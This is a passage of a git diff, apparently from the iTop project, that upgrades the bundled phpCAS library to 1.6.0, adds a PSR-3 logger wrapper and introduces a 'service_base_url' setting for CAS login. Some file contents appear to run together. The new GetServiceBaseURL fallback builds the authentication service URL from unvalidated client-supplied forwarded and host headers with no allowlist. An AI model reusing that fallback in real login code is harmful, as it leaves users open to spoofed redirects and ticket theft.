"Psr/Log/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/1.1.4" + }, + "time": "2021-05-03T11:20:27+00:00" } ], "packages-dev": [], @@ -69,5 +132,6 @@ "prefer-stable": false, "prefer-lowest": false, "platform": [], - "platform-dev": [] + "platform-dev": [], + "plugin-api-version": "2.1.0" } diff --git a/datamodels/2.x/authent-cas/main.php b/datamodels/2.x/authent-cas/main.php deleted file mode 100644 index aa7e99d1d..000000000 --- a/datamodels/2.x/authent-cas/main.php +++ /dev/null @@ -1,4 +0,0 @@ - array( 'model.authent-cas.php', - 'main.php' + 'vendor/autoload.php', + 'src/CASLoginExtension.php', ), 'webservice' => array( @@ -50,6 +51,7 @@ SetupWebPage::AddModule( 'cas_port' => '', 'cas_context' => '', 'cas_version' => '', + 'service_base_url' => '', ), ) ); diff --git a/datamodels/2.x/authent-cas/src/CASLog.php b/datamodels/2.x/authent-cas/src/CASLog.php new file mode 100644 index 000000000..85d3c7e59 --- /dev/null +++ b/datamodels/2.x/authent-cas/src/CASLog.php @@ -0,0 +1,17 @@ + LogAPI::LEVEL_ERROR, + LogLevel::ALERT => LogAPI::LEVEL_ERROR, + LogLevel::CRITICAL => LogAPI::LEVEL_ERROR, + LogLevel::ERROR => LogAPI::LEVEL_ERROR, + LogLevel::WARNING => LogAPI::LEVEL_WARNING, + LogLevel::NOTICE => LogAPI::LEVEL_INFO, + LogLevel::INFO => LogAPI::LEVEL_INFO, + LogLevel::DEBUG => LogAPI::LEVEL_DEBUG, + ]; + + public function emergency($message, array $context = array()) + { + CASLog::Error('EMERGENCY: '.$message, CASLog::CHANNEL_DEFAULT, $context); + IssueLog::Error('EMERGENCY: '.$message, CASLog::CHANNEL_DEFAULT, $context); + } + + public function alert($message, array $context = array()) + { + CASLog::Error('ALERT: '.$message, CASLog::CHANNEL_DEFAULT, $context); + IssueLog::Error('ALERT: '.$message, CASLog::CHANNEL_DEFAULT, $context); + } + + public function critical($message, array $context = array()) + { + CASLog::Error('CRITICAL: '.$message, CASLog::CHANNEL_DEFAULT, $context); + IssueLog::Error('CRITICAL: '.$message, CASLog::CHANNEL_DEFAULT, $context); + } + + public function error($message, array $context = array()) + { + CASLog::Error('ERROR: '.$message, CASLog::CHANNEL_DEFAULT, $context); + IssueLog::Error('ERROR: '.$message, CASLog::CHANNEL_DEFAULT, $context); + } + + public function warning($message, array $context = array()) + { + CASLog::Warning('WARNING: '.$message, CASLog::CHANNEL_DEFAULT, $context); + } + + public function notice($message, array $context = array()) + { + CASLog::Info('NOTICE: '.$message, CASLog::CHANNEL_DEFAULT, $context); + } + + public function info($message, array $context = array()) + { + CASLog::Info('INFO: '.$message, CASLog::CHANNEL_DEFAULT, $context); + } + + public function debug($message, array $context = array()) + { + CASLog::Debug('DEBUG: '.$message, CASLog::CHANNEL_DEFAULT, $context); + } + + public function log($level, $message, array $context = array()) + { + $sLevel = self::LEVEL_COMPAT[$level] ?? LogAPI::LEVEL_ERROR; + CASLog::Log($sLevel, strtoupper($level).": $message", CASLog::CHANNEL_DEFAULT, $context); + } +} \ No newline at end of file diff --git a/datamodels/2.x/authent-cas/src/CASLoginExtension.php b/datamodels/2.x/authent-cas/src/CASLoginExtension.php index cefc54b56..0adc96c2d 100644 --- a/datamodels/2.x/authent-cas/src/CASLoginExtension.php +++ b/datamodels/2.x/authent-cas/src/CASLoginExtension.php @@ -154,7 +154,7 @@ class CASLoginExtension extends AbstractLoginFSMExtension implements iLogoutExte $bCASDebug = Config::Get('cas_debug'); if ($bCASDebug) { - phpCAS::setDebug(APPROOT.'log/cas.log'); + phpCAS::setLogger(new CASLogger(APPROOT.'log/cas.log')); } // Initialize phpCAS @@ -162,7 +162,8 @@ class CASLoginExtension extends AbstractLoginFSMExtension implements iLogoutExte $sCASHost = Config::Get('cas_host'); $iCASPort = Config::Get('cas_port'); $sCASContext = Config::Get('cas_context'); - phpCAS::client($sCASVersion, $sCASHost, $iCASPort, $sCASContext, false /* session already started */); + $sServiceBaseURL = Config::Get('service_base_url', self::GetServiceBaseURL()); + phpCAS::client($sCASVersion, $sCASHost, $iCASPort, $sCASContext, $sServiceBaseURL, false /* session already started */); $sCASCACertPath = Config::Get('cas_server_ca_cert_path'); if (empty($sCASCACertPath)) { @@ -178,6 +179,38 @@ class CASLoginExtension extends AbstractLoginFSMExtension implements iLogoutExte } } + private static function GetServiceBaseURL() + { + $protocol = $_SERVER['REQUEST_SCHEME']; + $protocol .= '://'; + if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) { + // explode the host list separated by comma and use the first host + $hosts = explode(',', $_SERVER['HTTP_X_FORWARDED_HOST']); + // see rfc7239#5.3 and rfc7230#2.7.1: port is in HTTP_X_FORWARDED_HOST if non default + return $protocol . $hosts[0]; + } else if (!empty($_SERVER['HTTP_X_FORWARDED_SERVER'])) { + $server_url = $_SERVER['HTTP_X_FORWARDED_SERVER']; + } else { + if (empty($_SERVER['SERVER_NAME'])) { + $server_url = $_SERVER['HTTP_HOST']; + } else { + $server_url = $_SERVER['SERVER_NAME']; + } + } + if (!strpos($server_url, ':')) { + if (empty($_SERVER['HTTP_X_FORWARDED_PORT'])) { + $server_port = $_SERVER['SERVER_PORT']; + } else { + $ports = explode(',', $_SERVER['HTTP_X_FORWARDED_PORT']); + $server_port = $ports[0]; + } + + $server_url .= ':'; + $server_url .= $server_port; + } + return $protocol . $server_url; + } + private function DoUserProvisioning($sLogin) { $bCASUserSynchro = Config::Get('cas_user_synchro'); diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/CAS.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/CAS.php index 8cd549ea3..6ddcf07bc 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/CAS.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/CAS.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS.php * @category Authentication @@ -27,4 +27,6 @@ * @link https://wiki.jasig.org/display/CASC/phpCAS */ -require_once dirname(__FILE__).'/source/CAS.php'; \ No newline at end of file +require_once __DIR__.'/source/CAS.php'; + +trigger_error('Including CAS.php is deprecated. Install phpCAS using composer instead.', E_USER_DEPRECATED); diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/README.md b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/README.md index f425edca8..d48128912 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/README.md +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/README.md @@ -6,22 +6,21 @@ users via a Central Authentication Service (CAS) server. Please see the wiki website for more information: -https://wiki.jasig.org/display/CASC/phpCAS +https://apereo.github.io/phpCAS/ Api documentation can be found here: -https://apereo.github.io/phpCAS/ +https://apereo.github.io/phpCAS/api/ -[![Build Status](https://travis-ci.org/apereo/phpCAS.png)](https://travis-ci.org/apereo/phpCAS) - +[![Test](https://github.com/apereo/phpCAS/actions/workflows/test.yml/badge.svg)](https://github.com/apereo/phpCAS/actions/workflows/test.yml) LICENSE ------- -Copyright 2007-2015, JA-SIG, Inc. -This project includes software developed by Jasig. -http://www.jasig.org/ +Copyright 2007-2020, Apereo Foundation. +This project includes software developed by Apereo Foundation. +http://www.apereo.org/ Licensed under the Apache License, Version 2.0 (the "License"); you may not use this software except in compliance with the License. diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/composer.json b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/composer.json index 603595b27..89ab7b9f6 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/composer.json +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/composer.json @@ -1,29 +1,55 @@ { - "name": "apereo/phpcas", - "description": "Provides a simple API for authenticating users against a CAS server", - "keywords": ["cas", "jasig", "apereo"], - "homepage": "https://wiki.jasig.org/display/CASC/phpCAS", - "type": "library", - "license": "Apache-2.0", - "authors": [ - {"name": "Joachim Fritschi", "homepage": "https://wiki.jasig.org/display/~fritschi"}, - {"name": "Adam Franco", "homepage": "https://wiki.jasig.org/display/~adamfranco"} - ], - "require": { - "php": ">=5.4.0", - "ext-curl": "*" + "name" : "apereo/phpcas", + "description" : "Provides a simple API for authenticating users against a CAS server", + "keywords" : [ + "cas", + "jasig", + "apereo" + ], + "homepage" : "https://wiki.jasig.org/display/CASC/phpCAS", + "type" : "library", + "license" : "Apache-2.0", + "authors" : [{ + "name" : "Joachim Fritschi", + "homepage" : "https://github.com/jfritschi", + "email" : "jfritschi@freenet.de" + }, { + "name" : "Adam Franco", + "homepage" : "https://github.com/adamfranco" + }, { + "name" : "Henry Pan", + "homepage" : "https://github.com/phy25" + } + ], + "require" : { + "php" : ">=7.1.0", + "ext-curl" : "*", + "ext-dom" : "*", + "psr/log" : "^1.0 || ^2.0 || ^3.0" }, - "require-dev": { - "phpunit/phpunit": "~3.7.10" - }, - "autoload": { - "classmap": [ - "source/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "1.3.x-dev" - } - } + "require-dev" : { + "monolog/monolog" : "^1.0.0 || ^2.0.0", + "phpunit/phpunit" : ">=7.5", + "phpstan/phpstan" : "^1.5" + }, + "autoload" : { + "classmap" : [ + "source/" + ] + }, + "autoload-dev" : { + "files": ["source/CAS.php"], + "psr-4" : { + "PhpCas\\" : "test/CAS/" + } + }, + "scripts" : { + "test" : "phpunit", + "phpstan" : "phpstan" + }, + "extra" : { + "branch-alias" : { + "dev-master" : "1.3.x-dev" + } + } } diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS.php index dd17a48e4..8243a83e3 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS.php @@ -20,7 +20,7 @@ * * * Interface class of the phpCAS library - * PHP Version 5 + * PHP Version 7 * * @file CAS/CAS.php * @category Authentication @@ -35,6 +35,7 @@ * @ingroup public */ +use Psr\Log\LoggerInterface; // // hack by Vangelis Haniotakis to handle the absence of $_SERVER['REQUEST_URI'] @@ -44,11 +45,6 @@ if (!isset($_SERVER['REQUEST_URI']) && isset($_SERVER['SCRIPT_NAME']) && isset($ $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . '?' . $_SERVER['QUERY_STRING']; } -// Add a E_USER_DEPRECATED for php versions <= 5.2 -if (!defined('E_USER_DEPRECATED')) { - define('E_USER_DEPRECATED', E_USER_NOTICE); -} - // ######################################################################## // CONSTANTS @@ -61,7 +57,7 @@ if (!defined('E_USER_DEPRECATED')) { /** * phpCAS version. accessible for the user by phpCAS::getVersion(). */ -define('PHPCAS_VERSION', '1.3.7'); +define('PHPCAS_VERSION', '1.6.0'); /** * @addtogroup public @@ -140,11 +136,6 @@ define("SAML_SOAP_ENV_CLOSE", ''); */ define("SAML_ATTRIBUTES", 'SAMLATTRIBS'); -/** - * SAML Attributes - */ -define("DEFAULT_ERROR", 'Internal script failure'); - /** @} */ /** * @addtogroup publicPGTStorage @@ -224,6 +215,8 @@ define("PHPCAS_LANG_JAPANESE", 'CAS_Languages_Japanese'); define("PHPCAS_LANG_SPANISH", 'CAS_Languages_Spanish'); define("PHPCAS_LANG_CATALAN", 'CAS_Languages_Catalan'); define("PHPCAS_LANG_CHINESE_SIMPLIFIED", 'CAS_Languages_ChineseSimplified'); +define("PHPCAS_LANG_GALEGO", 'CAS_Languages_Galego'); +define("PHPCAS_LANG_PORTUGUESE", 'CAS_Languages_Portuguese'); /** @} */ @@ -261,7 +254,7 @@ define('DEFAULT_DEBUG_DIR', gettmpdir()."/"); /** @} */ // include the class autoloader -require_once dirname(__FILE__) . '/CAS/Autoload.php'; +require_once __DIR__ . '/CAS/Autoload.php'; /** * The phpCAS class is a simple container for the phpCAS library. It provides CAS @@ -330,12 +323,22 @@ class phpCAS /** * phpCAS client initializer. * - * @param string $server_version the version of the CAS server - * @param string $server_hostname the hostname of the CAS server - * @param int $server_port the port the CAS server is running on - * @param string $server_uri the URI the CAS server is responding on - * @param bool $changeSessionID Allow phpCAS to change the session_id (Single - * Sign Out/handleLogoutRequests is based on that change) + * @param string $server_version the version of the CAS server + * @param string $server_hostname the hostname of the CAS server + * @param int $server_port the port the CAS server is running on + * @param string $server_uri the URI the CAS server is responding on + * @param string|string[]|CAS_ServiceBaseUrl_Interface + * $service_base_url the base URL (protocol, host and the + * optional port) of the CAS client; pass + * in an array to use auto discovery with + * an allowlist; pass in + * CAS_ServiceBaseUrl_Interface for custom + * behavior. Added in 1.6.0. Similar to + * serverName config in other CAS clients. + * @param bool $changeSessionID Allow phpCAS to change the session_id + * (Single Sign Out/handleLogoutRequests + * is based on that change) + * @param \SessionHandlerInterface $sessionHandler the session handler * * @return void a newly created CAS_Client object * @note Only one of the phpCAS::client() and phpCAS::proxy functions should be @@ -343,7 +346,8 @@ class phpCAS * and phpCAS::setDebug()). */ public static function client($server_version, $server_hostname, - $server_port, $server_uri, $changeSessionID = true + $server_port, $server_uri, $service_base_url, + $changeSessionID = true, \SessionHandlerInterface $sessionHandler = null ) { phpCAS :: traceBegin(); if (is_object(self::$_PHPCAS_CLIENT)) { @@ -362,8 +366,8 @@ class phpCAS // initialize the object $_PHPCAS_CLIENT try { self::$_PHPCAS_CLIENT = new CAS_Client( - $server_version, false, $server_hostname, $server_port, $server_uri, - $changeSessionID + $server_version, false, $server_hostname, $server_port, $server_uri, $service_base_url, + $changeSessionID, $sessionHandler ); } catch (Exception $e) { phpCAS :: error(get_class($e) . ': ' . $e->getMessage()); @@ -374,12 +378,22 @@ class phpCAS /** * phpCAS proxy initializer. * - * @param string $server_version the version of the CAS server - * @param string $server_hostname the hostname of the CAS server - * @param int $server_port the port the CAS server is running on - * @param string $server_uri the URI the CAS server is responding on - * @param bool $changeSessionID Allow phpCAS to change the session_id (Single - * Sign Out/handleLogoutRequests is based on that change) + * @param string $server_version the version of the CAS server + * @param string $server_hostname the hostname of the CAS server + * @param string $server_port the port the CAS server is running on + * @param string $server_uri the URI the CAS server is responding on + * @param string|string[]|CAS_ServiceBaseUrl_Interface + * $service_base_url the base URL (protocol, host and the + * optional port) of the CAS client; pass + * in an array to use auto discovery with + * an allowlist; pass in + * CAS_ServiceBaseUrl_Interface for custom + * behavior. Added in 1.6.0. Similar to + * serverName config in other CAS clients. + * @param bool $changeSessionID Allow phpCAS to change the session_id + * (Single Sign Out/handleLogoutRequests + * is based on that change) + * @param \SessionHandlerInterface $sessionHandler the session handler * * @return void a newly created CAS_Client object * @note Only one of the phpCAS::client() and phpCAS::proxy functions should be @@ -387,7 +401,8 @@ class phpCAS * and phpCAS::setDebug()). */ public static function proxy($server_version, $server_hostname, - $server_port, $server_uri, $changeSessionID = true + $server_port, $server_uri, $service_base_url, + $changeSessionID = true, \SessionHandlerInterface $sessionHandler = null ) { phpCAS :: traceBegin(); if (is_object(self::$_PHPCAS_CLIENT)) { @@ -406,8 +421,8 @@ class phpCAS // initialize the object $_PHPCAS_CLIENT try { self::$_PHPCAS_CLIENT = new CAS_Client( - $server_version, true, $server_hostname, $server_port, $server_uri, - $changeSessionID + $server_version, true, $server_hostname, $server_port, $server_uri, $service_base_url, + $changeSessionID, $sessionHandler ); } catch (Exception $e) { phpCAS :: error(get_class($e) . ': ' . $e->getMessage()); @@ -435,6 +450,24 @@ class phpCAS * @{ */ + /** + * Set/unset PSR-3 logger + * + * @param LoggerInterface $logger the PSR-3 logger used for logging, or + * null to stop logging. + * + * @return void + */ + public static function setLogger($logger = null) + { + if (empty(self::$_PHPCAS_DEBUG['unique_id'])) { + self::$_PHPCAS_DEBUG['unique_id'] = substr(strtoupper(md5(uniqid(''))), 0, 4); + } + self::$_PHPCAS_DEBUG['logger'] = $logger; + self::$_PHPCAS_DEBUG['indent'] = 0; + phpCAS :: trace('START ('.date("Y-m-d H:i:s").') phpCAS-' . PHPCAS_VERSION . ' ******************'); + } + /** * Set/unset debug mode * @@ -442,9 +475,13 @@ class phpCAS * to stop debugging. * * @return void + * + * @deprecated */ public static function setDebug($filename = '') { + trigger_error('phpCAS::setDebug() is deprecated in favor of phpCAS::setLogger().', E_USER_DEPRECATED); + if ($filename != false && gettype($filename) != 'string') { phpCAS :: error('type mismatched for parameter $dbg (should be false or the name of the log file)'); } @@ -518,14 +555,7 @@ class phpCAS $indent_str = "."; - if (!empty(self::$_PHPCAS_DEBUG['filename'])) { - // Check if file exists and modifiy file permissions to be only - // readable by the webserver - if (!file_exists(self::$_PHPCAS_DEBUG['filename'])) { - touch(self::$_PHPCAS_DEBUG['filename']); - // Chmod will fail on windows - @chmod(self::$_PHPCAS_DEBUG['filename'], 0600); - } + if (isset(self::$_PHPCAS_DEBUG['logger']) || !empty(self::$_PHPCAS_DEBUG['filename'])) { for ($i = 0; $i < self::$_PHPCAS_DEBUG['indent']; $i++) { $indent_str .= '| '; @@ -533,7 +563,20 @@ class phpCAS // allow for multiline output with proper identing. Usefull for // dumping cas answers etc. $str2 = str_replace("\n", "\n" . self::$_PHPCAS_DEBUG['unique_id'] . ' ' . $indent_str, $str); - error_log(self::$_PHPCAS_DEBUG['unique_id'] . ' ' . $indent_str . $str2 . "\n", 3, self::$_PHPCAS_DEBUG['filename']); + $str3 = self::$_PHPCAS_DEBUG['unique_id'] . ' ' . $indent_str . $str2; + if (isset(self::$_PHPCAS_DEBUG['logger'])) { + self::$_PHPCAS_DEBUG['logger']->info($str3); + } + if (!empty(self::$_PHPCAS_DEBUG['filename'])) { + // Check if file exists and modifiy file permissions to be only + // readable by the webserver + if (!file_exists(self::$_PHPCAS_DEBUG['filename'])) { + touch(self::$_PHPCAS_DEBUG['filename']); + // Chmod will fail on windows + @chmod(self::$_PHPCAS_DEBUG['filename'], 0600); + } + error_log($str3 . "\n", 3, self::$_PHPCAS_DEBUG['filename']); + } } } @@ -567,8 +610,6 @@ class phpCAS } if (self::$_PHPCAS_VERBOSE) { echo "
\nphpCAS error: " . __CLASS__ . "::" . $function . '(): ' . htmlentities($msg) . " in " . $file . " on line " . $line . "
\n"; - } else { - echo "
\nError: ". DEFAULT_ERROR ."
\n"; } phpCAS :: trace($msg . ' in ' . $file . 'on line ' . $line ); phpCAS :: traceEnd(); @@ -1869,6 +1910,14 @@ class phpCAS } } + /** + * @return CAS_Client + */ + public static function getCasClient() + { + return self::$_PHPCAS_CLIENT; + } + /** * For testing purposes, use this method to set the client to a test double * diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/AuthenticationException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/AuthenticationException.php index 3b73685ff..803c88908 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/AuthenticationException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/AuthenticationException.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/AuthenticationException.php * @category Authentication @@ -72,11 +72,15 @@ implements CAS_Exception phpCAS::traceBegin(); $lang = $client->getLangObj(); $client->printHTMLHeader($lang->getAuthenticationFailed()); - printf( - $lang->getYouWereNotAuthenticated(), - htmlentities($client->getURL()), - isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN']:'' - ); + + if (phpCAS::getVerbose()) { + printf( + $lang->getYouWereNotAuthenticated(), + htmlentities($client->getURL()), + $_SERVER['SERVER_ADMIN'] ?? '' + ); + } + phpCAS::trace($messages[] = 'CAS URL: '.$cas_url); phpCAS::trace($messages[] = 'Authentication failure: '.$failure); if ( $no_response ) { diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Autoload.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Autoload.php index 5e9b140c7..29395d592 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Autoload.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Autoload.php @@ -3,7 +3,7 @@ /** * Autoloader Class * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Autoload.php * @category Authentication @@ -26,18 +26,24 @@ function CAS_autoload($class) // Static to hold the Include Path to CAS static $include_path; // Check only for CAS classes - if (substr($class, 0, 4) !== 'CAS_') { + if (substr($class, 0, 4) !== 'CAS_' && substr($class, 0, 7) !== 'PhpCas\\') { return false; } + // Setup the include path if it's not already set from a previous call if (empty($include_path)) { - $include_path = array(dirname(dirname(__FILE__)), dirname(dirname(__FILE__)) . '/../test/' ); + $include_path = array(dirname(__DIR__)); } // Declare local variable to store the expected full path to the file - foreach ($include_path as $path) { - $file_path = $path . '/' . str_replace('_', '/', $class) . '.php'; + $class_path = str_replace('_', DIRECTORY_SEPARATOR, $class); + // PhpCas namespace mapping + if (substr($class_path, 0, 7) === 'PhpCas\\') { + $class_path = 'CAS' . DIRECTORY_SEPARATOR . substr($class_path, 7); + } + + $file_path = $path . DIRECTORY_SEPARATOR . $class_path . '.php'; $fp = @fopen($file_path, 'r', true); if ($fp) { fclose($fp); @@ -54,6 +60,7 @@ function CAS_autoload($class) return true; } } + $e = new Exception( 'Class ' . $class . ' could not be loaded from ' . $file_path . ', file does not exist (Path="' @@ -61,22 +68,22 @@ function CAS_autoload($class) ); $trace = $e->getTrace(); if (isset($trace[2]) && isset($trace[2]['function']) - && in_array($trace[2]['function'], array('class_exists', 'interface_exists')) + && in_array($trace[2]['function'], array('class_exists', 'interface_exists', 'trait_exists')) ) { return false; } if (isset($trace[1]) && isset($trace[1]['function']) - && in_array($trace[1]['function'], array('class_exists', 'interface_exists')) + && in_array($trace[1]['function'], array('class_exists', 'interface_exists', 'trait_exists')) ) { return false; } die ((string) $e); } -// set up __autoload -if (!(spl_autoload_functions()) - || !in_array('CAS_autoload', spl_autoload_functions()) -) { +// Set up autoload if not already configured by composer. +if (!class_exists('CAS_Client')) +{ + trigger_error('phpCAS autoloader is deprecated. Install phpCAS using composer instead.', E_USER_DEPRECATED); spl_autoload_register('CAS_autoload'); if (function_exists('__autoload') && !in_array('__autoload', spl_autoload_functions()) @@ -86,5 +93,3 @@ if (!(spl_autoload_functions()) spl_autoload_register('__autoload'); } } - -?> diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Client.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Client.php index 338bd50c4..91642ee52 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Client.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Client.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Client.php * @category Authentication @@ -27,6 +27,7 @@ * @author Brett Bieber * @author Joachim Fritschi * @author Adam Franco + * @author Tobias Schiebeck * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://wiki.jasig.org/display/CASC/phpCAS */ @@ -43,6 +44,7 @@ * @author Brett Bieber * @author Joachim Fritschi * @author Adam Franco + * @author Tobias Schiebeck * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://wiki.jasig.org/display/CASC/phpCAS * @@ -100,6 +102,10 @@ class CAS_Client */ public function printHTMLHeader($title) { + if (!phpCAS::getVerbose()) { + return; + } + $this->_htmlFilterOutput( str_replace( '__TITLE__', $title, @@ -128,16 +134,17 @@ class CAS_Client */ public function printHTMLFooter() { + if (!phpCAS::getVerbose()) { + return; + } + $lang = $this->getLangObj(); - $this->_htmlFilterOutput( - empty($this->_output_footer)? - (phpCAS::getVerbose())? - '
phpCAS __PHPCAS_VERSION__ ' - .$lang->getUsingServer() - .' __SERVER_BASE_URL__ (CAS __CAS_VERSION__)
' - :'' - :$this->_output_footer - ); + $message = empty($this->_output_footer) + ? '
phpCAS __PHPCAS_VERSION__ ' . $lang->getUsingServer() . + ' __SERVER_BASE_URL__ (CAS __CAS_VERSION__)
' + : $this->_output_footer; + + $this->_htmlFilterOutput($message); } /** @@ -149,9 +156,9 @@ class CAS_Client */ public function setHTMLHeader($header) { - // Argument Validation - if (gettype($header) != 'string') - throw new CAS_TypeMismatchException($header, '$header', 'string'); + // Argument Validation + if (gettype($header) != 'string') + throw new CAS_TypeMismatchException($header, '$header', 'string'); $this->_output_header = $header; } @@ -165,13 +172,28 @@ class CAS_Client */ public function setHTMLFooter($footer) { - // Argument Validation - if (gettype($footer) != 'string') - throw new CAS_TypeMismatchException($footer, '$footer', 'string'); + // Argument Validation + if (gettype($footer) != 'string') + throw new CAS_TypeMismatchException($footer, '$footer', 'string'); $this->_output_footer = $footer; } + /** + * Simple wrapper for printf function, that respects + * phpCAS verbosity setting. + * + * @param string $format + * @param string|int|float ...$values + * + * @see printf() + */ + private function printf(string $format, ...$values): void + { + if (phpCAS::getVerbose()) { + printf($format, ...$values); + } + } /** @} */ @@ -200,9 +222,9 @@ class CAS_Client */ public function setLang($lang) { - // Argument Validation - if (gettype($lang) != 'string') - throw new CAS_TypeMismatchException($lang, '$lang', 'string'); + // Argument Validation + if (gettype($lang) != 'string') + throw new CAS_TypeMismatchException($lang, '$lang', 'string'); phpCAS::traceBegin(); $obj = new $lang(); @@ -364,9 +386,9 @@ class CAS_Client */ public function setServerLoginURL($url) { - // Argument Validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument Validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); return $this->_server['login_url'] = $url; } @@ -381,9 +403,9 @@ class CAS_Client */ public function setServerServiceValidateURL($url) { - // Argument Validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument Validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); return $this->_server['service_validate_url'] = $url; } @@ -398,9 +420,9 @@ class CAS_Client */ public function setServerProxyValidateURL($url) { - // Argument Validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument Validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); return $this->_server['proxy_validate_url'] = $url; } @@ -415,9 +437,9 @@ class CAS_Client */ public function setServerSamlValidateURL($url) { - // Argument Validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument Validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); return $this->_server['saml_validate_url'] = $url; } @@ -556,9 +578,9 @@ class CAS_Client */ public function setServerLogoutURL($url) { - // Argument Validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument Validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); return $this->_server['logout_url'] = $url; } @@ -888,14 +910,23 @@ class CAS_Client /** * CAS_Client constructor. * - * @param string $server_version the version of the CAS server - * @param bool $proxy true if the CAS client is a CAS proxy - * @param string $server_hostname the hostname of the CAS server - * @param int $server_port the port the CAS server is running on - * @param string $server_uri the URI the CAS server is responding on - * @param bool $changeSessionID Allow phpCAS to change the session_id - * (Single Sign Out/handleLogoutRequests - * is based on that change) + * @param string $server_version the version of the CAS server + * @param bool $proxy true if the CAS client is a CAS proxy + * @param string $server_hostname the hostname of the CAS server + * @param int $server_port the port the CAS server is running on + * @param string $server_uri the URI the CAS server is responding on + * @param bool $changeSessionID Allow phpCAS to change the session_id + * (Single Sign Out/handleLogoutRequests + * is based on that change) + * @param string|string[]|CAS_ServiceBaseUrl_Interface + * $service_base_url the base URL (protocol, host and the + * optional port) of the CAS client; pass + * in an array to use auto discovery with + * an allowlist; pass in + * CAS_ServiceBaseUrl_Interface for custom + * behavior. Added in 1.6.0. Similar to + * serverName config in other CAS clients. + * @param \SessionHandlerInterface $sessionHandler the session handler * * @return self a newly created CAS_Client object */ @@ -905,35 +936,53 @@ class CAS_Client $server_hostname, $server_port, $server_uri, - $changeSessionID = true + $service_base_url, + $changeSessionID = true, + \SessionHandlerInterface $sessionHandler = null ) { - // Argument validation + // Argument validation if (gettype($server_version) != 'string') - throw new CAS_TypeMismatchException($server_version, '$server_version', 'string'); + throw new CAS_TypeMismatchException($server_version, '$server_version', 'string'); if (gettype($proxy) != 'boolean') - throw new CAS_TypeMismatchException($proxy, '$proxy', 'boolean'); + throw new CAS_TypeMismatchException($proxy, '$proxy', 'boolean'); if (gettype($server_hostname) != 'string') - throw new CAS_TypeMismatchException($server_hostname, '$server_hostname', 'string'); + throw new CAS_TypeMismatchException($server_hostname, '$server_hostname', 'string'); if (gettype($server_port) != 'integer') - throw new CAS_TypeMismatchException($server_port, '$server_port', 'integer'); + throw new CAS_TypeMismatchException($server_port, '$server_port', 'integer'); if (gettype($server_uri) != 'string') - throw new CAS_TypeMismatchException($server_uri, '$server_uri', 'string'); + throw new CAS_TypeMismatchException($server_uri, '$server_uri', 'string'); if (gettype($changeSessionID) != 'boolean') - throw new CAS_TypeMismatchException($changeSessionID, '$changeSessionID', 'boolean'); + throw new CAS_TypeMismatchException($changeSessionID, '$changeSessionID', 'boolean'); + + $this->_setServiceBaseUrl($service_base_url); + + if (empty($sessionHandler)) { + $sessionHandler = new CAS_Session_PhpSession; + } 